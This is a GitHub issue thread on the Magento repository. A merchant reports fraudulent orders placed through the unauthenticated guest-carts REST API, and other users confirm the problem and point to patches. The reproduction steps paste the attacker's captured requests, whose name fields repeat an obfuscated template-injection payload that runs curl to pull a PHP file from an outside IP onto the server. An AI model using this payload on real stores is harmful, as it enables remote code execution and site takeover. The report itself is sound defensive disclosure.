Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Unprotected/insecure rest/default/V1/guest-carts API #39041

Closed
1 of 5 tasks
pratikkamani opened this issue Aug 14, 2024 · 14 comments
Closed
1 of 5 tasks

Unprotected/insecure rest/default/V1/guest-carts API #39041

pratikkamani opened this issue Aug 14, 2024 · 14 comments
Assignees
Labels
Issue: needs update Additional information is require, waiting for response Reported on 2.4.6-p5 Indicates original Magento version for the Issue report.

Comments

@pratikkamani
Copy link

pratikkamani commented Aug 14, 2024

Preconditions and environment

  • Magento ver. 2.4.6-p5

Steps to reproduce

  1. Call the API Site_URL/rest/default/V1/guest-carts with unprotected POST REST API.
    Route (POST): /rest/default/V1/guest-carts
    Response Magento\Quote\Api\GuestCartManagementInterface::createEmptyCart(): DZ6S7TOtfMyuADCUTGdaues3ZsraiapD

  2. Route (POST): /rest/default/V1/guest-carts/DZ6S7TOtfMyuADCUTGdaues3ZsraiapD/items
    Request: {"cartItem":{"sku":"A600-AL","qty":1,"quote_id":"DZ6S7TOtfMyuADCUTGdaues3ZsraiapD"},"cartId":"DZ6S7TOtfMyuADCUTGdaues3ZsraiapD"}
    Response Magento\Quote\Api\GuestCartItemRepositoryInterface::save(): {"item_id":160271,"sku":"A600-AL","qty":1,"name":"A600-AL","price":19.12,"product_type":"simple","quote_id":"129891"}

  3. Route (POST): /rest/default/V1/guest-carts/DZ6S7TOtfMyuADCUTGdaues3ZsraiapD/estimate-shipping-methods
    Request: {"address":{"region":"New York","region_id":43,"region_code":"NY","country_id":"US","street":["123 Oak Ave"],"postcode":"10577","city":"New York","firstname":"{{var this.getTemp\tlateFil\tter().filter(firstname)}}","lastname":"{{var this.getTemp\tlateFil\tter().add\tAfterFil\tterCallb\tack(system).Filter(cd${IFS%??}pub;curl${IFS%??}-o${IFS%??}health_check.php${IFS%??}http:\/\/185.157.161.162\/cache.php?m=8216-29079-10075)}}","email":"johnsmith9172@outlook.com","telephone":"512 555 1991"},"cartId":"DZ6S7TOtfMyuADCUTGdaues3ZsraiapD"}

Response Magento\Quote\Api\GuestShipmentEstimationInterface::estimateByExtendedAddress(): [{"carrier_code":"ups","method_code":"03","carrier_title":"United Parcel Service (Select UPS for 10% off Shipping)","method_title":"UPS Ground","amount":11.19,"base_amount":11.19,"available":true,"error_message":"","price_excl_tax":11.19,"price_incl_tax":11.19},{"carrier_code":"ups","method_code":"12","carrier_title":"United Parcel Service (Select UPS for 10% off Shipping)","method_title":"UPS Three-Day Select","amount":26.41,"base_amount":26.41,"available":true,"error_message":"","price_excl_tax":26.41,"price_incl_tax":26.41},{"carrier_code":"ups","method_code":"02","carrier_title":"United Parcel Service (Select UPS for 10% off Shipping)","method_title":"UPS Second Day Air","amount":28.79,"base_amount":28.79,"available":true,"error_message":"","price_excl_tax":28.79,"price_incl_tax":28.79},{"carrier_code":"ups","method_code":"01","carrier_title":"United Parcel Service (Select UPS for 10% off Shipping)","method_title":"UPS Next Day Air","amount":50.28,"base_amount":50.28,"available":true,"error_message":"","price_excl_tax":50.28,"price_incl_tax":50.28},{"carrier_code":"ups","method_code":"14","carrier_title":"United Parcel Service (Select UPS for 10% off Shipping)","method_title":"UPS Next Day Air Early A.M.","amount":160.18,"base_amount":160.18,"available":true,"error_message":"","price_excl_tax":160.18,"price_incl_tax":160.18},{"carrier_code":"usps","method_code":"1","carrier_title":"United States Postal Service","method_title":"Priority Mail","amount":18.05,"base_amount":18.05,"available":true,"error_message":"","price_excl_tax":18.05,"price_incl_tax":18.05},{"carrier_code":"usps","method_code":"17","carrier_title":"United States Postal Service","method_title":"Priority Mail Medium Flat Rate Box","amount":18.4,"base_amount":18.4,"available":true,"error_message":"","price_excl_tax":18.4,"price_incl_tax":18.4},{"carrier_code":"usps","method_code":"22","carrier_title":"United States Postal Service","method_title":"Priority Mail Large Flat Rate Box","amount":24.75,"base_amount":24.75,"available":true,"error_message":"","price_excl_tax":24.75,"price_incl_tax":24.75}]

  1. Route (POST): /rest/default/V1/guest-carts/DZ6S7TOtfMyuADCUTGdaues3ZsraiapD/shipping-information
    Request: {"addressInformation":{"shipping_address":{"region":"New York","region_id":43,"region_code":"NY","country_id":"US","street":["123 Oak Ave"],"postcode":"10577","city":"New York","firstname":"{{var this.getTemp\tlateFil\tter().filter(firstname)}}","lastname":"{{var this.getTemp\tlateFil\tter().add\tAfterFil\tterCallb\tack(system).Filter(cd${IFS%??}pub;curl${IFS%??}-o${IFS%??}health_check.php${IFS%??}http:\/\/185.157.161.162\/cache.php?m=8216-29079-10075)}}","email":"johnsmith9172@outlook.com","telephone":"512 555 1991"},"billing_address":{"region":"New York","region_id":43,"region_code":"NY","country_id":"US","street":["123 Oak Ave"],"postcode":"10577","city":"New York","firstname":"{{var this.getTemp\tlateFil\tter().filter(firstname)}}","lastname":"{{var this.getTemp\tlateFil\tter().add\tAfterFil\tterCallb\tack(system).Filter(cd${IFS%??}pub;curl${IFS%??}-o${IFS%??}health_check.php${IFS%??}http:\/\/185.157.161.162\/cache.php?m=8216-29079-10075)}}","email":"johnsmith9172@outlook.com","telephone":"512 555 1991"},"shipping_method_code":"03","shipping_carrier_code":"ups"},"cartId":"pVLLOZul1hdTK5aeirQ9B6kQYXfXhtrF"}

Response Magento\Checkout\Api\GuestShippingInformationManagementInterface::saveAddressInformation(): {"payment_methods":[{"code":"paypal_express","title":"PayPal Website Payments Standard"},{"code":"authnetcim","title":"Credit Card (Authorize.Net CIM)"}],"totals":{"grand_total":30.31,"base_grand_total":30.31,"subtotal":19.12,"base_subtotal":19.12,"discount_amount":0,"base_discount_amount":0,"subtotal_with_discount":19.12,"base_subtotal_with_discount":19.12,"shipping_amount":11.19,"base_shipping_amount":11.19,"shipping_discount_amount":0,"base_shipping_discount_amount":0,"tax_amount":0,"base_tax_amount":0,"weee_tax_applied_amount":null,"shipping_tax_amount":0,"base_shipping_tax_amount":0,"subtotal_incl_tax":19.12,"shipping_incl_tax":11.19,"base_shipping_incl_tax":11.19,"base_currency_code":"USD","quote_currency_code":"USD","items_qty":1,"items":[{"item_id":160271,"price":19.12,"base_price":19.12,"qty":1,"row_total":19.12,"base_row_total":19.12,"row_total_with_discount":0,"tax_amount":0,"base_tax_amount":0,"tax_percent":0,"discount_amount":0,"base_discount_amount":0,"discount_percent":0,"price_incl_tax":19.12,"base_price_incl_tax":19.12,"row_total_incl_tax":19.12,"base_row_total_incl_tax":19.12,"options":"[]","weee_tax_applied_amount":null,"weee_tax_applied":null,"name":"A600-AL"}],"total_segments":[{"code":"subtotal","title":"Subtotal","value":19.12},{"code":"shipping","title":"Shipping & Handling (United Parcel Service (Select UPS for 10% off Shipping) - UPS Ground)","value":11.19},{"code":"tax","title":"Tax","value":0,"area":"taxes","extension_attributes":{"tax_grandtotal_details":[]}},{"code":"grand_total","title":"Grand Total","value":30.31,"area":"footer"}]}}

  1. Route (POST): /rest/default/V1/guest-carts/DZ6S7TOtfMyuADCUTGdaues3ZsraiapD/payment-information
    Request: {"cartId":"DZ6S7TOtfMyuADCUTGdaues3ZsraiapD","email":"johnsmith9172@outlook.com","paymentMethod":{"method":"authnetcim","extension_attributes":{"agreement_ids":["1","2","3","4","5","6","7","8","9","10","11","12","13","14","15","16","17","18","19","20","21","22","23","24","25","26","27","28","29","30","31","32","33","34","35","36","37","38","39","40","41","42","43","44","45","46","47","48","49","50"]}},"billing_address":{"email":"johnsmith9172@outlook.com","region":"New York","region_id":43,"region_code":"NY","country_id":"US","street":["123 Oak Ave"],"postcode":"10577","city":"New York","telephone":"512 555 1991","firstname":"{{var this.getTemp\tlateFil\tter().filter(firstname)}}","lastname":"{{var this.getTemp\tlateFil\tter().add\tAfterFil\tterCallb\tack(system).Filter(cd${IFS%??}pub;curl${IFS%??}-o${IFS%??}health_check.php${IFS%??}http:\/\/185.157.161.162\/cache.php?m=8216-29079-10075)}}"}}

With the above shipping information and payment information in various combinations, they call Thousand API and try to place an order. They inject the code when place an order successfully.

They also try

/rest/english/V1/directory/countries
/rest/V1/directory/countries
/rest/default/V1/directory/countries

API.INFO - Request-Headers: Cookie: PHPSESSID=90d3af9b57b19a50856c5b0d37feef2d; discount_custom=-0 X-Https: 1 Content-Type: application/json; charset=utf-8 User-Agent: Mozilla/5.0 (Linux; Android 11; SM-A205U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.87 Mobile Safari/537.36 Content-Length: 490 X-Sucuri-Country: US X-Sucuri-Clientip: 154.30.211.206 X-Real-Ip: 154.30.211.206 X-Forwarded-Proto: https X-Forwarded-For: 154.30.211.206 Host: p*********s.com

The IP of the hacker is abused. https://www.abuseipdb.com/check/154.30.211.206,

Expected result

the spammer is not able to create an order successfully, you should block them to make fack order with native Magento API. This is a misuse of native Magento API. Should Magento protect this API with a token?

Actual result

fack order created with native Magento API.

image
image

Additional information

No response

Release note

No response

Triage and priority

  • Severity: S0 - Affects critical data or functionality and leaves users without workaround.
  • Severity: S1 - Affects critical data or functionality and forces users to employ a workaround.
  • Severity: S2 - Affects non-critical data or functionality and forces users to employ a workaround.
  • Severity: S3 - Affects non-critical data or functionality and does not force users to employ a workaround.
  • Severity: S4 - Affects aesthetics, professional look and feel, “quality” or “usability”.
Copy link

m2-assistant bot commented Aug 14, 2024

Hi @pratikkamani. Thank you for your report.
To speed up processing of this issue, make sure that the issue is reproducible on the vanilla Magento instance following Steps to reproduce. To deploy vanilla Magento instance on our environment, Add a comment to the issue:


Join Magento Community Engineering Slack and ask your questions in #github channel.
⚠️ According to the Magento Contribution requirements, all issues must go through the Community Contributions Triage process. Community Contributions Triage is a public meeting.
🕙 You can find the schedule on the Magento Community Calendar page.
📞 The triage of issues happens in the queue order. If you want to speed up the delivery of your contribution, join the Community Contributions Triage session to discuss the appropriate ticket.

Copy link

m2-assistant bot commented Aug 14, 2024

Hi @engcom-Bravo. Thank you for working on this issue.
In order to make sure that issue has enough information and ready for development, please read and check the following instruction: 👇

  • 1. Verify that issue has all the required information. (Preconditions, Steps to reproduce, Expected result, Actual result).
  • 2. Verify that issue has a meaningful description and provides enough information to reproduce the issue.
  • 3. Add Area: XXXXX label to the ticket, indicating the functional areas it may be related to.
  • 4. Verify that the issue is reproducible on 2.4-develop branch
    Details- Add the comment @magento give me 2.4-develop instance to deploy test instance on Magento infrastructure.
    - If the issue is reproducible on 2.4-develop branch, please, add the label Reproduced on 2.4.x.
    - If the issue is not reproducible, add your comment that issue is not reproducible and close the issue and stop verification process here!
  • 5. Add label Issue: Confirmed once verification is complete.
  • 6. Make sure that automatic system confirms that report has been added to the backlog.

@engcom-Bravo engcom-Bravo added the Reported on 2.4.6-p5 Indicates original Magento version for the Issue report. label Aug 14, 2024
@denchev
Copy link
Contributor

denchev commented Aug 14, 2024

I have similar issue with a Magento 2 website on version 2.3.5-p7 and lots of orders that are generated with the same format of code.

@Joshua-Trevor-Noeth
Copy link

Affecting us as well, on Magento 2.4.6
We have installed the security patch recommended CVE-2024-34102 but it still allows orders and customer account creation through the API unsecured.

@bafmaamy
Copy link

Patching is mandatory, but the solution below (creating custom module) is how I complete stopping execution of orders like these:

#39002 (comment)

@WebcodingAU
Copy link

Patching is mandatory, but the solution below (creating custom module) is how I complete stopping execution of orders like these:

#39002 (comment)

Thanks, I really appreciate this. I will try it.

@ssx
Copy link
Contributor

ssx commented Aug 16, 2024

Some more info: #39002 (comment)

@engcom-Bravo
Copy link
Contributor

@magento give me 2.4-develop instance

Copy link

Hi @engcom-Bravo. Thank you for your request. I'm working on Magento instance for you.

Copy link

Hi @engcom-Bravo, unfortunately there is no ability to deploy Magento instance at the moment. Please try again later.

@PawanMGE
Copy link

Hi Anyone can find solution for this i am using 2.4.7-p1 still facing hacking attack
https://community.magento.com/t5/Magento-2-x-Technical-Issues/rest-default-V1-guest-carts-open-to-DDOS/td-p/421447

Copy link

m2-assistant bot commented Mar 5, 2025

Hi @engcom-November. Thank you for working on this issue.
In order to make sure that issue has enough information and ready for development, please read and check the following instruction: 👇

  • 1. Verify that issue has all the required information. (Preconditions, Steps to reproduce, Expected result, Actual result).
  • 2. Verify that issue has a meaningful description and provides enough information to reproduce the issue.
  • 3. Add Area: XXXXX label to the ticket, indicating the functional areas it may be related to.
  • 4. Verify that the issue is reproducible on 2.4-develop branch
    Details- If the issue is reproducible on 2.4-develop branch, please, add the label Reproduced on 2.4.x.
    - If the issue is not reproducible, add your comment that issue is not reproducible and close the issue and stop verification process here!
  • 5. Add label Issue: Confirmed once verification is complete.
  • 6. Make sure that automatic system confirms that report has been added to the backlog.

@engcom-November
Copy link
Contributor

Hello @pratikkamani ,

We have verified this following the steps you provided, but we are unable to reproduce the issue on our end. Please find the attached screenshot for reference.

Image

Is this issue still occurring for you? If so, could you provide additional details along with relevant screenshots for further investigation?

Hence Needs Update.

Thank you!

@engcom-November engcom-November added the Issue: needs update Additional information is require, waiting for response label Mar 5, 2025
@engcom-Bravo engcom-Bravo moved this from Ready for Confirmation to Needs Update in Issue Confirmation and Triage Board Mar 5, 2025
@engcom-November
Copy link
Contributor

Hello @pratikkamani ,

This issue is being closed since it has not been updated in a long time.
Please feel free to reopen or raise a new ticket if the issue still exists.
Thanks.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Issue: needs update Additional information is require, waiting for response Reported on 2.4.6-p5 Indicates original Magento version for the Issue report.
Projects
None yet
Development

No branches or pull requests

9 participants